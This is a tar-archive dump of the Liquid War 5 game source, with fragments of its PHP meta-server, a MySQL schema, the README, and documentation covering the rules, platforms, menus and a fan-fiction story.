liquidwar-5.6.5/0000755000372000037200000000000013407756104013137 5ustar travistravisliquidwar-5.6.5/www/0000775000372000037200000000000013407756104013765 5ustar travistravisliquidwar-5.6.5/www/php/0000775000372000037200000000000013407756104014554 5ustar travistravisliquidwar-5.6.5/www/php/cleanup.php0000664000372000037200000000363013407756104016716 0ustar travistravis liquidwar-5.6.5/www/php/index.php0000664000372000037200000001171613407756104016402 0ustar travistravis U-Foot's meta-server

U-Foot's meta-server


Introduction

I call meta-server the software which I run on my web site to allow the Liquid War and U61 servers to register themselves so that clients can automatically find out which servers are running in the world.

List of active servers

You can use this list "as is" but you can also get it directly from the game. "; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo "\n"; } } ?>
Address Port Game Version Uptime Players Password Comment
".html_format($result[$i]["address"])."".html_format($result[$i]["port"])."".html_format($result[$i]["game"])."".html_format($result[$i]["version"])."".html_uptime($result[$i]["uptime"])."".html_format($result[$i]["busy_players"])."/".html_format($result[$i]["max_players"])."".(html_format($result[$i]["password"]) ? "yes" : "no")."".html_format($result[$i]["comment"])."

Chat

This chat-box is not moderated, so I'm not responsible for its content. Still, if you think something's going wrong, contact me. Message successfully posted."; } else { echo "

Message not posted."; } } ?> "; echo ""; echo ""; echo ""; echo ""; echo "\n"; } } ?>
Address Age Game Message
".html_format($result[$i]["address"])."".html_uptime($result[$i]["age"])."".html_format($result[$i]["game"])."".html_format($result[$i]["message"])."



More informations on www.ufoot.org.
liquidwar-5.6.5/www/php/robots.txt0000664000372000037200000000003213407756104016620 0ustar travistravisUser-agent: * Disallow: / liquidwar-5.6.5/www/php/list.txt.php0000664000372000037200000000532613407756104017064 0ustar travistravis liquidwar-5.6.5/www/php/register.txt.php0000664000372000037200000000405213407756104017730 0ustar travistravis liquidwar-5.6.5/www/php/metaserver.php0000664000372000037200000002307313407756104017447 0ustar travistravis$post_date-METASERVER_CHAT_WRITE_LIMIT) { $forbidden=1; } } if (!$forbidden) { $query="INSERT INTO metaserver_chat ". "(address,". "post_date,". "game,". "message)". "VALUES ". "(".$address.",". $post_date.",". $game.",". $message.")"; if (db_exec_query($connection,$query)==1) { $ok=1; } } db_close_connection($connection); } else { $ok=1; } return $ok; } //---------------------------------------------------------------------- // Returns the list of available servers //---------------------------------------------------------------------- function metaserver_read($protocol, $game, $limit) { $connection=db_open_connection(); metaserver_cleanup_chat_ex($connection); if (!$limit) { $limit=METASERVER_CHAT_MAX_MESSAGES; } $query="SELECT ". "address,". "post_date,". "game,". "message ". "FROM metaserver_chat "; if ($game) { $query.="WHERE game=".db_quote($game,METASERVER_SIZE_GAME." "); } $query.="ORDER BY post_date DESC ". "LIMIT ".$limit; $data=db_exec_query_select($connection,$query); $now=time(); for ($i=0;$data[$i];++$i) { $data[$i]["age"]=$now-$data[$i]["post_date"]; } db_close_connection($connection); return $data; } ?> liquidwar-5.6.5/www/php/list.json.php0000664000372000037200000000554713407756104017223 0ustar travistravis liquidwar-5.6.5/www/php/html.php0000664000372000037200000000621313407756104016233 0ustar travistravis0) { if ($days>1) { $uptime=$days." days"; } else{ $uptime="1 day"; } } else if ($hours>0) { $uptime=$hours." h"; } else if ($minutes>0) { $uptime=$minutes." min"; } else { $uptime=$seconds." sec"; } return $uptime; } //---------------------------------------------------------------------- // Transforms a UNIX timestamp into a readable date //---------------------------------------------------------------------- function html_date($timestamp) { $date=date("Y-m-d H:i:s",$timestamp); return $date; } ?> liquidwar-5.6.5/www/php/register.json.php0000664000372000037200000000404513407756104020064 0ustar travistravis liquidwar-5.6.5/www/php/favicon.ico0000664000372000037200000000217613407756104016703 0ustar travistravis h(  4b!@XA87 *?fKjW $N(D ~ z2v0X.l 8;74-.T0})t-5T@#TP53 &D]. liquidwar-5.6.5/www/php/db.php0000664000372000037200000001320513407756104015653 0ustar travistravis1) { db_handle_error("First attempt to open the metaserver MySQL database failed"); } } else { db_handle_error("Unable to open connection with the metaserver MySQL database"); } return $connection; } //---------------------------------------------------------------------- // closes the connection with the database //---------------------------------------------------------------------- function db_close_connection($connection) { if ($connection) { // Here we do not really close the connection since MySQL shares // connections if they are opened with the same parameters, // and it interferes with other php code on my web site. // Anyway the connection will be closed at the end of the PHP page // // mysql_close($connection); } } //---------------------------------------------------------------------- // handles a system error //---------------------------------------------------------------------- function db_handle_error($message) { // My provider uses a patched PHP system, which does not support // the standard "mail" function but has a replacement called "email". // It uses 1 more argument which is a username, used to fill the // "From" field. For a standard install, comment the "email" line // and uncomment the "mail" line. email("webmaster","errors@ufoot.org","[phperror]",$message); // mail("errors@xxx.xxx","[phperror]",$message); } //---------------------------------------------------------------------- // quotes a string for inclusion in the database //---------------------------------------------------------------------- function db_quote($field,$size=65535) { $result=""; $len=strlen($field); for ($i=0;($i<$len) && ($i<$size);++$i) { // We filter all non ASCII 128 "normal" characters $c=substr($field,$i,1); $ascii=ord($c); if ($ascii>=32 && $ascii<=127) { // We replace any ' by '', this is the SQL default if ($c=="'") { $c="''"; } // We filter $ \ " and %, one never knows... else if (strchr("\$\\\"%",$c)) { $c=""; } $result.=$c; } } $result="'".$result."'"; return $result; } //---------------------------------------------------------------------- // Executes a SELECT query in the database //---------------------------------------------------------------------- function db_exec_query_select($connection,$query) { $i=0; if ($connection) { $res=mysql_query($query,$connection); while ($arr=mysql_fetch_array($res,MYSQL_ASSOC)) { $data[$i]=$arr; $i++; } } return $data; } //---------------------------------------------------------------------- // Executes a query in the database, which is not a SELECT query //---------------------------------------------------------------------- function db_exec_query($connection,$query) { $rows=-1; if ($connection) { $res=mysql_query($query,$connection); if ($res) { $rows=mysql_affected_rows($connection); } } return $rows; } ?> liquidwar-5.6.5/www/README0000664000372000037200000000343113407756104014646 0ustar travistravisThis directory contains the files required to set up a meta-server. I call meta-server the software which I run on my web site to allow the Liquid War servers to register themselves so that clients can automatically find out which servers are running in the world. You might be interested in setting up such a server for yourself, if you think for instance that the "official" is too slow, not enough reliable etc... You could also want to have a meta-server running on your LAN, to keep track of existing servers without informing the whole world about it. You do not need to do it, since there's a permanent meta-server running on https://ufoot.org. Anyway, I see no reasons not to share this code. To set up the meta-server, you'll need: - a working PHP capable system. Wether you run it on UNIX or Windows, as an Apache module or as a CGI has absolutely no importance. You simply need PHP pages to work, and must load the MySQL PHP module. I have no idea wether this meta-server would work or not with a PHP4 engine. - a MySQL server. I believe almost any version of MySQL would fit, since I use very basic SQL queries. I would have prefered to run the meta-server on PostGreSQL, but my provider only has MySQL installed. So I used it. But honestly, I believe any decent SGBD could fit. Note that the meta-server is not installed when you type "make install" in the root source directory. If you want to install a meta-server, you'll need to set up the MySQL database and copy the PHP pages yourself. You'll also probably need to edit the "db.php" file since it contains the user and password required to connect to MySQL the server. When you set up the php server, it is a good idea to make it fetch "/index.php" when HTTP clients request "/". This is the default on many PHP installs anyway. liquidwar-5.6.5/www/mysql/0000775000372000037200000000000013407756104015132 5ustar travistravisliquidwar-5.6.5/www/mysql/tables.sql0000664000372000037200000000115313407756104017125 0ustar travistravis -- DROP TABLE metaserver_list; CREATE TABLE metaserver_list( address VARCHAR(15) NOT NULL, port INT NOT NULL, game VARCHAR(25) NOT NULL, version VARCHAR(25) NOT NULL, first_ping INT NOT NULL, last_ping INT NOT NULL, busy_players INT, max_players INT, password INT, comment VARCHAR(100), PRIMARY KEY (address,port) ); -- DROP TABLE metaserver_chat; CREATE TABLE metaserver_chat( address VARCHAR(15) NOT NULL, post_date INT NOT NULL, game VARCHAR(25) NOT NULL, message TEXT, PRIMARY KEY (address,post_date), INDEX (post_date), INDEX (address) ); liquidwar-5.6.5/README.md0000664000372000037200000000642313407756104014425 0ustar travistravisLiquid War 5 ============ ![Liquid War 5 icon](https://raw.githubusercontent.com/ufoot/liquidwar5/master/misc/liquidwar.png) Liquid War is a unique multiplayer wargame. Its rules are truely original and have been invented by Thomas Colcombet. You control an army of liquid and have to try and eat your opponents. A single player mode is available, but the game is definitely designed to be multiplayer, and has network support. * Liquid War homepage : https://ufoot.org/liquidwar/v5 * Contact author : ufoot@ufoot.org If you have any questions or remarks about Liquid War, you can get help and informations on the Liquid War user mailing list: * http://mail.nongnu.org/mailman/listinfo/liquidwar-user Have a good day, U-Foot Status ------ [![Build Status](https://travis-ci.org/ufoot/liquidwar5.svg?branch=master)](https://travis-ci.org/ufoot/liquidwar5/branches) Liquid War 5 is now (at least) 20 years old. Some files probably remained unchanged through all those years but yet, apparently, still compile and run. Don't trust the git log for activity, this thing used to be on [Source Forge](https://sourceforge.net/projects/liquidwar/) and even before that it was developped without any source control system, back in 1998. Since 2005, [Liquid War 6](https://www.gnu.org/software/liquidwar6) has been released, trying to get a better interfaces and technology to that program. It happens Liquid War 5 is still the de facto best implementation around, usually available for major Linux distros, and Windows or Mac binaries usually work. Your mileage may vary, I'm definitely not actively developping this, however I'm still experimenting on new Liquid War ideas, I even have a `liquidwar7` folder somewhere on my laptop where I'm hacking random things. My overall advice would be to use this game and have fun with it, but if you want to hack around, there might be better things to do than touching this old and dusty code base. Please [contact me](mailto:ufoot@ufoot.org) if you want to know more. Install ------- Get files [here](https://ufoot.org/liquidwar/v5/download) for Windows or Mac users. For GNU/Linux users, most of the time, something like this is enough: ``` sudo apt-get install liquidwar # .deb distro (Debian, Ubuntu, ...) sudo yum install liquidwar # .rpm distro (Fedora, ...) ``` Documentation ------------- * [user documentation](https://ufoot.org/liquidwar/v5/doc) * [code algorithm](https://ufoot.org/liquidwar/v5/techinfo/algorithm) * [source code](https://ufoot.org/liquidwar/v5/techinfo/source) License ------- Liquid War is a multiplayer wargame. Copyright (C) 1998-2018 Christian Mauduit (ufoot@ufoot.org) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA liquidwar-5.6.5/doc/0000775000372000037200000000000013407756104013706 5ustar travistravisliquidwar-5.6.5/doc/man/0000775000372000037200000000000013407756104014461 5ustar travistravisliquidwar-5.6.5/doc/man/end.man0000664000372000037200000000006013407756104015720 0ustar travistravis.SH AUTHOR Christian Mauduit liquidwar-5.6.5/doc/man/begin.man.in0000664000372000037200000000177413407756104016660 0ustar travistravis.TH "Liquid War" 6 "v@VERSION@" .SH NAME liquidwar \- a unique multiplayer wargame .SH SYNOPSIS liquidwar [-vh] .SH DESCRIPTION Liquid War is a multiplayer wargame. Its rules are very simple but yet original. .SH OPTIONS .TP 3 .B \-v Displays the version number. .TP 3 .B \-h Displays copyright and various information. .TP 3 .B \.\.\. There are many other command lines options, which are described further in this document. .SH WARNING As Liquid War is a cross-platform program (it also runs on DOS and Windows), I could reasonably not provide groff UNIX-style documentation to Windows user. Therefore, Liquid War's documentation is available in many formats, including HTML, PostScript and PDF. .br I believe these formats are easier to read than this man page. So check out the .B /usr/share/doc/liquidwar or .B /usr/local/share/doc/liquidwar directories, for this is where HTML and other documentation files should be. Otherwise, if you are a die-hard man page user, you may continue with this document 8-) liquidwar-5.6.5/doc/txt/0000775000372000037200000000000013407756104014525 5ustar travistravisliquidwar-5.6.5/doc/txt/DUMMY0000664000372000037200000000011713407756104015342 0ustar travistravisThis is a dummy file so that the directory is created when exporting from CVS. liquidwar-5.6.5/doc/tex/0000775000372000037200000000000013407756104014506 5ustar travistravisliquidwar-5.6.5/doc/tex/liquidwar.tex.in0000664000372000037200000000115213407756104017635 0ustar travistravis\documentclass[a4paper,10pt]{book} \title{Liquid War - a unique multiplayer wargame} \author{Christian Mauduit} \date{v@VERSION@} \oddsidemargin 0mm \evensidemargin 0mm \marginparwidth 0mm \marginparsep 0mm \textwidth 158mm \parindent 0pt \parskip 5pt \begin{document} \maketitle \setcounter{tocdepth}{1} \tableofcontents \input{rules} \input{authors} \input{mailinglists} \input{fanfic} \input{options} \input{network} \input{parameters} \input{platforms} \input{userlevels} \input{algorithm} \input{source} \input{bugs} \input{todo} \input{wip} \input{copying} \end{document} liquidwar-5.6.5/doc/xml/0000775000372000037200000000000013407756104014506 5ustar travistravisliquidwar-5.6.5/doc/xml/todo.xml0000664000372000037200000000313313407756104016175 0ustar travistravis In its latest releases Liquid War is quite stable IMHO. However there are still some issues with network under Windows for instance. I'm aware of these bugs and I'm trying to fix them but this does really take time. I always welcome bug-reports and patches, as making Liquid War W 5.x.x as stable and bug-free as possible is really important to me - and most of the time players also appreciate stable programs 8-) The most important bug-fixing area is probably cross-platform support. That is, make sure that the game runs fine on every supported OS. For instance, it's quite common for Mac OS/X and/or FreeBSD users to "crash" the game. This rarely happens on GNU/Linux, just because it has been so much more tested on this platform. This applies to Liquid War itself and also, to some extent, to Allegro. Let's be clear: no new features in Liquid War 5. It's bloated, complicated, old, uninteresting to hack. All new features should be found in Liquid War 6. Since summer 2005, Liquid War 6, a complete rewrite of Liquid War, is on its way. See "http://www.gnu.org/software/liquidwar6/" or "https://ufoot.org/liquidwar/v6" for more informations. liquidwar-5.6.5/doc/xml/fanfic.xml0000664000372000037200000001555313407756104016467 0ustar travistravis Quoting Gavin: "I wrote a liquid war fanfic some time ago [...] I wrote it after a friend claimed that there wasn't any liquid war fanfic because it wasn't possible." So here it is, a Liquid War fanfic, enjoy! (and special thanks to Gavin) The General presided over his massing army in his seat, or rather hovering ring, of power. It dipped slightly as he flew low over his troops marching through the viscous marsh-like terrain. They were like children: obedient, loyal, and they ate a lot. Glancing at the status panel mounted in front of him he grimaced; the other five armies: Yellow, Green, Orange, Turquoise, and, of course, Red, were also readying armies of a similar size to his own. His violet clones would have to fight hard and eat well to win this day. Today would not be a battle of luck, the General mused, it would be a battle of tactics, of alliances, and of betrayal. Every clone was identical - that was the general idea behind clones - and the terrain seemed strangely symmetrical; it would not give advantage to any of the six armies amassed today. Glancing at the hologram of the battlefield projected in front of him the General noted that he would have to move quickly, Orange and Yellow were too close for comfort, though fortunately Baron Red's army of eponymous coloured clones was the furthest. General Violet's fingertips were sweaty even before they touched the four main control keys in front of him. They were labeled 'W', 'A', 'D', and, of course, the full retreat button - very useful for misleading foes and ambushing them as they pursued - 'S'. The keys were arrange in a roughly equilateral triangular pattern; with 'S' forming the base and being adjacent to both 'A' and 'D', 'W' formed the tip of the triangle. A long breath left his parched lips as at last he made his move. "Dammit!" he screamed moments later. He had misjudged Captain Yellow and Commander Orange; he had expected one at least to attack immediately, one he could have handled. They were working together - foiling his attempt to shoot between them to near the center of the battlefield to gain a better vantage point. Yellow had shot down towards him, cutting off his advance, and now Orange had sealed his escape route. "It's not over yet" muttered the General. He opened a voice channel with Commander Orange: "Very clever. Flawed, but still clever." "Flawed?" came the reply. "Yes flawed, when the good Captain is finished devouring my army who do you think he will turn to next?", bluffed the General - his hands worked quickly as he manoeuvred his hovering control ring, all that his troops ever saw of him, carefully towards the weakest section of his attackers. If he could just break out a few units he could soon turn the tide against both Yellow and Orange. "We have an alliance..." Orange's voice was unsure now. Time for some sarcasm to through her even more off balance, thought the General, "I gathered", he spoke softly, slowly, and with too much meaning. Then closing the channel he turned his attention back to his escape. "Yes!" wooped the ecstatic figure of the General. Fifty or so of his troops had broken free undetected and were even now working their way cautiously towards the camps of the Yellow army, only the front lines were still actively fighting; this opening gambit of Yellow and Orange had turned into a stale siege and Yellow's army had pitched tent. General Violet steered his hovering guidance ring to the center of the Yellow camp. His troops struck, both those who had got behind the lines and those who were still besieged. Yellow reacted too slowly and suddenly found that her army, was shrinking back from the onslaught. There was nowhere to run to, and bye now her only ally - Commander Orange - had abandoned her to her fate; he was too busy engaging Sir. Turquoise, who had managed to escape from the slaughter that the Baron had caused to the Turquoise ranks and was even now valiantly attacking the flanks of the Orange troops. A glance at the status panel showed that Yellow's life force was fading quickly: 8%, 3%, 1%, Gone. The General smiled, he always enjoyed getting the first kill, and by now his armies life force had grown and his clones had replicated. With his, now, formidable fighting force it was no problem to engulf both Sir. Turquoise and Commander Orange's brawling armies and annihilate them. Once again his army grew in size and power. Now if only the Baron didn't notice that..., thought the General. "Too late!" yelped the General, now thrown into panic, as he saw the approaching Baron. His army had also grown in size and power - having fatally injured the Turquoise army within the opening moments of the battle, and having finally managed to catch the elusive fleeing form of, or what remained of, Emperor Green. Gripping the controls harder the General thought quickly, his army doesn't so completely outnumber me that this is already over, however unless I can cause him to make a mistake that allows me to take the upper hand then I will inevitably lose. Maybe I can... This thought was terminated and replaced by another as the Baron's angry red troops broke through the undergrowth that had covered their movements and started to surround the General's army. The thought that now throbbed through the panic-stricken mind of General Violet was simply 'Run!'. Even as he signaled the retreat and made for what seemed to be the only possible means of escape the Baron's blood red control ring appeared at the opening. The General knew it was over, even before the host of red beings appeared at the opening. There was no escape. His life force was almost depleted and he was surrounded. Then it was that the Baron decided to communicate: "Too bad. It was a good game" The General blinked, gaped, and was generally gobsmacked. Just before his life force completely failed and his own weary eyes closed in defeat he snarled, "What!? This is not a game!" were the General's dying words. liquidwar-5.6.5/doc/xml/rules.xml0000664000372000037200000001474713407756104016377 0ustar travistravis Liquid War is a wargame. But it is different from common wargames. When playing Liquid War, one has to eat one's opponent. There can be from 2 to 6 players. There are no weapons, the only thing you have to do is to move a cursor in a 2-D battlefield. This cursor is followed by your army, which is composed by a great many little fighters. Fighters are represented by small colored squares. All the fighters who have the same color belong to the same team. One very often controls several thousands fighters at the same time. And when fighters from different teams meet, they eat each other, it is as simple as that. Teams are composed of little fighters. These fighters all act independently, so it can happen that one single fighters does something different from what all the other do. The main goal of these fighters is to reach the cursor you control. And to do that, they are in a way quite clever, for they choose the shortest way to reach it. Check it if you want, but it is true, they *really* choose *the* shortest way to reach the cursor. That is the whole point with Liquid War. But these fighters are not perfect, so when they choose this shortest way, they do as if they were alone on the battlefield. That's to say that if there is a fighter blocking their way, they won't have the idea to choose another way, which is free from fighters but would have been longer otherwise. So fighters can be blocked. When two fighters from different team meet each other, they first try to avoid fighting, and they dodge. But if there is no way for them to move, they get angry and attack the guy which is blocking them. Sometimes, they attack each other and both loose health. But it can happen that a fighter is attacked by another one, which is himself not attacked at all. Here is an example of this behaviour: A blue fighter and a red fighter both want to move to their right, for that would be the shortest way to reach their cursor if there was nobody on the battlefield. But they are blocked by other fighters. If, for instance, the red fighter is on the right and the blue fighter on the left, it is the red fighter which will be eaten. When a fighter is attacked, he first looses health, that is to say that he gets darker. When his health reaches 0, his color changes and he becomes a member of the team by which he has been attacked. Therefore the number of fighters on the battlefield always remains the same. When fighters of a same team get stuck together and block each other, then they regenerate, that is to say that they get brighter. However, I think the best way for you to understand the way it works is to try the game... When I play Liquid War, I always try to surround my opponents, and it usually works. By the way, the computer has no strategy at all, he is a poor player, and if you get beaten by him, it means you have to improve yourself a lot! But still, the computer doesn't do one thing which I've seen many beginners doing: he never keeps his cursor motionless right in the middle of his own fighters, for this is the best way to loose. Here are some more tips, kindly submitted by Jan Samohyl. Try to cut your opponent off walls and surround him completely with your troops; when trying to penetrate his forces inside a tunnel, keep your troops at the wall (and force them ocassionaly to attack off the wall). I think this is a biggest weakness of the computer AI, that it doesn't know this. When luring your troops to outflank an enemy, always move your cursor through the enemy, not the other way around. To penetrate very narrow tunnels, stand back for a while and let some enemy troops come from the tunnel to you. Then surround them, destroy, repeat. I have observed that with more than 2 players (6), the game difficulty depends on the map in the following way: If the playing field is completely empty, without any holes (topologically equivalent to full circle), the game is the easiest, because you can just go through the middle to outflank your opponent. If there is a single large obstacle (ie. playfield is topologically equivalent to ring (the area between two nested circles)), the game is the most difficult, because you have to choose one direction for the attack, and cannot simply defend the other direction. For other maps, it seems to really depend on their similarity to one of these two extreme situations (and army size, of course, because it changes the relative size of obstacles). Also, if you would later add another cursor, this property would probably disappear (maybe then games with n+1 obstacles would be the hardest ones with n cursors). If you want a particularly challenging computer game (at least for some maps), use several players, max out attack, min out defense, max out base health (opposite would be harder, but game then changes to the large cloud of black troops, so you don't see anything) and give winner an advantage. The clever guy who has got the greatest number of fighters in his team at the end of the game. Or the one who exterminates all the other teams! liquidwar-5.6.5/doc/xml/wip.xml0000664000372000037200000000404213407756104016027 0ustar travistravis Whenever Liquid War is released, I usually pass the good news to Freshmeat ( "http://freshmeat.net/projects/liquidwar/" ). Then all releases are accessible from the main download page, which is "https://ufoot.org/liquidwar/v5/download". Releasing the game takes time, for I want all binaries to install properly and sources to compile cleanly. Therefore there might be some delay before the time coding is over and the time a release is actually ready. So for impatients and/or for people who need to test out the very latest versions (eg someone who wants to compile the game on a new platform), it's possible to access the source repository directly. Historically, Liquid War has used CVS, GNU Arch (aka tla), and now uses git "http://www.kernel.org/pub/software/scm/git/docs/gittutorial.html". So FYI the previously active CVS and GNU Arch repositories, on Sourceforge and Savannah, are currently unmaintained. It has moved to Github. A typical git command would be: git clone https://github.com/ufoot/liquidwar5.git If you are interested, I can open this repository in read/write mode, however one of the points of git is that it is distributed and allows cooperative developpement with multiple depots, so this isn't mandatory. And anyways, importing myself patches received by email has never been a real burden. Besides, most developpement is now done on Liquid War 6. See "http://www.gnu.org/software/liquidwar6/" or "https://ufoot.org/liquidwar/v6" for more informations. liquidwar-5.6.5/doc/xml/copying.xml0000664000372000037200000000201213407756104016673 0ustar travistravis Liquid War is a multiplayer wargame. Copyright (C) 1998-2018 Christian Mauduit ("ufoot@ufoot.org") This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A partICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA liquidwar-5.6.5/doc/xml/platforms.xml0000664000372000037200000001546613407756104017253 0ustar travistravis Liquid War is now a cross-platform game, thanks to Allegro. So now you can play under different OS. The same source tree will compile on all supported platforms, but with slight differences when running. C preprocessor #defines are used to code some platform specific stuff, and in some cases there are different files for the DOS, Windows and UNIX versions. As I said, I try to use the same code for all platforms. This is in the long term the best choice. Otherwise there would different branches of the source tree, and I don't think this is a very good solution. Therefore some optimizations that were performed in the old DOS-only version have been totally removed, for they were 100% platform dependent (ie mode-X asm coding). So the new versions are all a little slower than the old 5.1 stuff, but the performance loss is only about 20%, which is not significant with today's PCs. And anyways the performance loss is most of the time limited to the goog old VGA 320x200x8 mode-X, which starts being kind of obsolete. This is the original version. It's the fastest one as far as I know, the safest one and it will always be I think, since Allegro was first designed for DOS, and DOS allows a full unconditionnal access to all the hardware ressources LW requires. LW doesn't use any hardware acceleration and it's not been designed to do so. Unfortunately there's no network support for the DOS version of Liquid War. When running under a Windows box, the DOS release used to be safer than the native Windows port. Now that DOS support is getting really poor with recent versions of Windows, the native Windows release of Liquid War starts begin the good choice for Windows users. And Allegro for Windows is getting quite stable in the 4.x series. The other reason to choose this release rather than the DOS release is that it has network support. If you have problems running Liquid War under Windows, please check out the "data\lwwin.log" file which should be written each time you run the game. It contains the information which is displayed on the console under other platforms, and might give you a clue about what's going wrong. This port is the most recent one, and also the one I prefer. Paths have been changed to an UNIXish style, ie the data is stored in: /usr/local/share/games/liquidwar the executable in: /usr/local/games and the configuration file is ~/.liquidwarrc Since not all GNU/Linux distributions have /usr/local/games in their path, I also put a symbolic link to the binaries in /usr/local/bin. I believe Liquid War is quite FHS compliant, so if its default directories do not match your configuration, blame your distro for not following the standards 8-) AFAIK the only touchy directory is /usr/local/share/pixmaps which I've seen on many distribution but does not seem to be referenced in the FHS. With the latest releases of Allegro, Liquid War is becoming pretty stable under GNU/Linux. You should also know that the GNU/Linux port is usually the most up to date, since I very very seldom boot Windows at home and do most of the coding under GNU/Linux. This is the latest port, so I expect it to be a little touchy to install and/or run for some time. Note that to compile the game you'll need to install GNU tools like gmake and gcc. Liquid War won't compile with the genuine make and cc commands. One thing you might ask is: "why do you provide the binary as a plain .tgz file, it would be much nicer if a standard FreeBSD port was provided instead!". The answer is that the statically linked binary should work flawlessly and does not raise any dependency problem. Also I don't know how to make a BSD port and I'm not really interested in doing it. If it's easy to do, then someone can simply do it and send it back to me. If it's hard to do, then I do not really have the time nor motivation to do it. What I did is make the code and install scripts FreeBSD friendly so that it would be possible to compile the game under FreeBSD. Packaging is another story. There's currently a beta version of a Mac OS X port for Liquid War. Ryan D. Brown nicely managed to compile and run the game under Mac OS X, and the latest news was that it does basically work. Still, this port did not go through intensive testing, so there might still be some bugs, expecially concerning networking. There were some byte endianess problems in previous ( <=5.5.8 ) releases of LW, but I tried to fix them and they should be gone now. As of today, we're trying to find out a convenient way to package and release the Mac OS X version of LW. You can contact us on the mailing list if you're interested in this port. Liquid War has been ported to the GP2X handheld gaming platform, thanks to the fact George Foot ported Allegro to this platform. More informations on "http://www.glost.eclipse.co.uk/gfoot/gp2x/allegro.html" Assuming the environment variables GP2X_USER_PREFIX (where you want Allegro to be installed) and OPEN2X_SYSTEM_PREFIX (where your open2x cross-compiler is) are defined, the following might be used to compile Allegro: LDFLAGS=-static ./configure --prefix=$GP2X_USER_PREFIX --build=x86_64-pc-linux-gnu --host=arm-open2x-linux --enable-lgp2x=$OPEN2X_SYSTEM_PREFIX --without-x --enable-static --disable-shared --disable-modules --enable-dbglib Then Liquid War itself can be compiled using: ./configure --prefix=$GP2X_USER_PREFIX --build=x86_64-pc-linux-gnu --host=arm-open2x-linux liquidwar-5.6.5/doc/xml/options.xml0000664000372000037200000004260013407756104016725 0ustar travistravis This section describes how the GUI works. Since programming advanced GUIs with Allegro is not so easy - standard C programming definitely lacks flexibility -, and also since it's somewhat hard for me to figure out what is user-friendly and what's not, Liquid War's menus are not always self-explanatory. I'll just try and do something better next time! The map menu allows you to choose the map you are going to play on. A map is defined by 3 things: A frame. The frame can be chosen with the slider which is below the preview. The frames are automatically sorted by alphabetical order. A texture for walls. A texture for the zone where fighters are allowed to move. In the middle of the screen, there is a preview of the level. In this menu, the values of the parameters can be independently changed by: Moving a slider. Clicking on a "+" or a "-" button. Typing a number. On each side of the preview, sliders allow you to choose the two textures. There is also a preview of each texture. Below this preview there are 128 little buttons which allow you to choose single colored textures. The name of the map and its resolution are displayed in the lower part of the screen. You'll notice that on some maps the texture selection zones simply disappear. This is because these maps are associated with a texture, so choosing a different texture is often not recommended for it won't look as nice as with the right one. If you still want to override this behaviour you can click on the "on/off" button just right to the "Use default texture" label. This is a toggle button which will allow you to use your own textures even on maps that normally come with their own skin. You'll also notice that a "Random map" button is available. This button generates a new random map using an external program, "lwmapgen", developped by David Redick, available on "http://www.cs.clemson.edu/~dredick/lwmapgen/" This program supports many command line options, and if you want a very precise control on the generated maps, you'll need to run it separately. Looking at LW's log file you should be able to see the commands LW issues when calling this program, this can give you ideas on how to launch it manually. Alternatively using the "--help" option (for instance "liquidwar-mapgen --help" under UNIX) should describe how to use it. This menu allows you to choose the teams which are going to play. There are 6 square zones in this menu. Each of them is associated to a team. Each team can be either: Disabled ("Off") Controlled by a player ("Human") Controlled by the computer ("Cpu") The computer plays poorly, so remember that Liquid War is basically a multiplayer game, and that the cpu control is dedicated to beginners only. You can also choose the color associated to each team by clicking on one of the 12 colored buttons. Below the 12 colored buttons, there are four buttons which allow you to choose your keys. Click on one of these buttons and then press the key you want to define. Joystick movements and buttons are considered as keys. You can disable the joystick with the button which is at the bottom left of the menu. Mouse input is also possible, and mouse movements are considered as keys too. To define mouse control, click on the button associated to the direction you want to control, and then move the mouse. Then the button should display something like "M->". Mouse sensibility can be set with the little slider at the bottom right of the menu. Here you can choose the graphic options of the game. The "Video mode" button allows you to switch between fullscreen and windowed mode. This button is not available under DOS. The "Brightness" slider allows you to set the brightness of the game. The "Menu res" slider allows you to set the resolution used by the menus. There are currently 5 possible values, which depend on which platform you're running the game on. I personnaly think the menus look best with the 640x480 resolution, but some may prefer higher resolutions. Lower resolutions should only be used if you have problems using SVGA video modes. The "Game res" slider allows you to set the resolution used during the game. The allowed values are the same than those for the menus. I recommend that you don't use resolution higher than 640x480, unless you have a Pentium VIII running a 10GHz. Page flipping can be toggled. It is up to you to decide wether you keep this option or not. The main disavantage of turning page flipping off is that the info bar and the battlefield can look rahter ugly if they overlap. But if you turn page flipping on you will not easily reach the 166 frames per second I sometimes get on small levels with my K6-225. I personnaly always turn page flipping off. The viewport size defines how much of your screen will be used by the battlefield. If you set the slider on its left position, the batllefield will not be stectched at all. Or if is strechted, it will be by a x2 or a x4 factor. So this is the mode wich allows the fastest display. If you set the slider ont its right position, the game will run in fullscreen mode. With all the other positions of the slider, the battlefield will keep its general proportions but it will be stretched. The "Waves" button allows you to toggle the wave effect. You can also do this while playing, by simply pressing F4. This section allows you to set the sound volumes. There are 4 sliders, which are: "Sfx": sets the volume of all the sfx sounds, thats to say'the sounds you hear when the game starts, when you loose etc... "Click": sets the volume of the click, this nasty noise you hear each time your press on a button. "Game water": sets the volume of the blop blop blop sounds which are played continuously while you are playing. "Menu water": the same thing than "Game water" except that it concerns the sounds played while your are choosing options. "Music": general music volume. This menu is the one where you can change the rules of the game. The "Time" slider controls the time limit. The game will stop after this time is elapsed. You can pause the game by pressing the "F3" key. By the way, an info bar can display the time left while you are playing. This info bar can be toggled during the game by pressing the "F1" key, and you can change its location by pressing the "F2" key. It also displays how many fighters there are in each team. The "Army size" slider controls the amount of fighters there will be on the battlefield. The position of the slider reflects the amount of fighters of all the teams together. If there are 4 teams, then each player will have half as many fighters than if there had only been 2 teams. The "Cursor x" slider controls the speed of your cursor. If it is set on the left, the cursor goes at the same speed than the fighters. If it is centered, the cursor goes twice faster 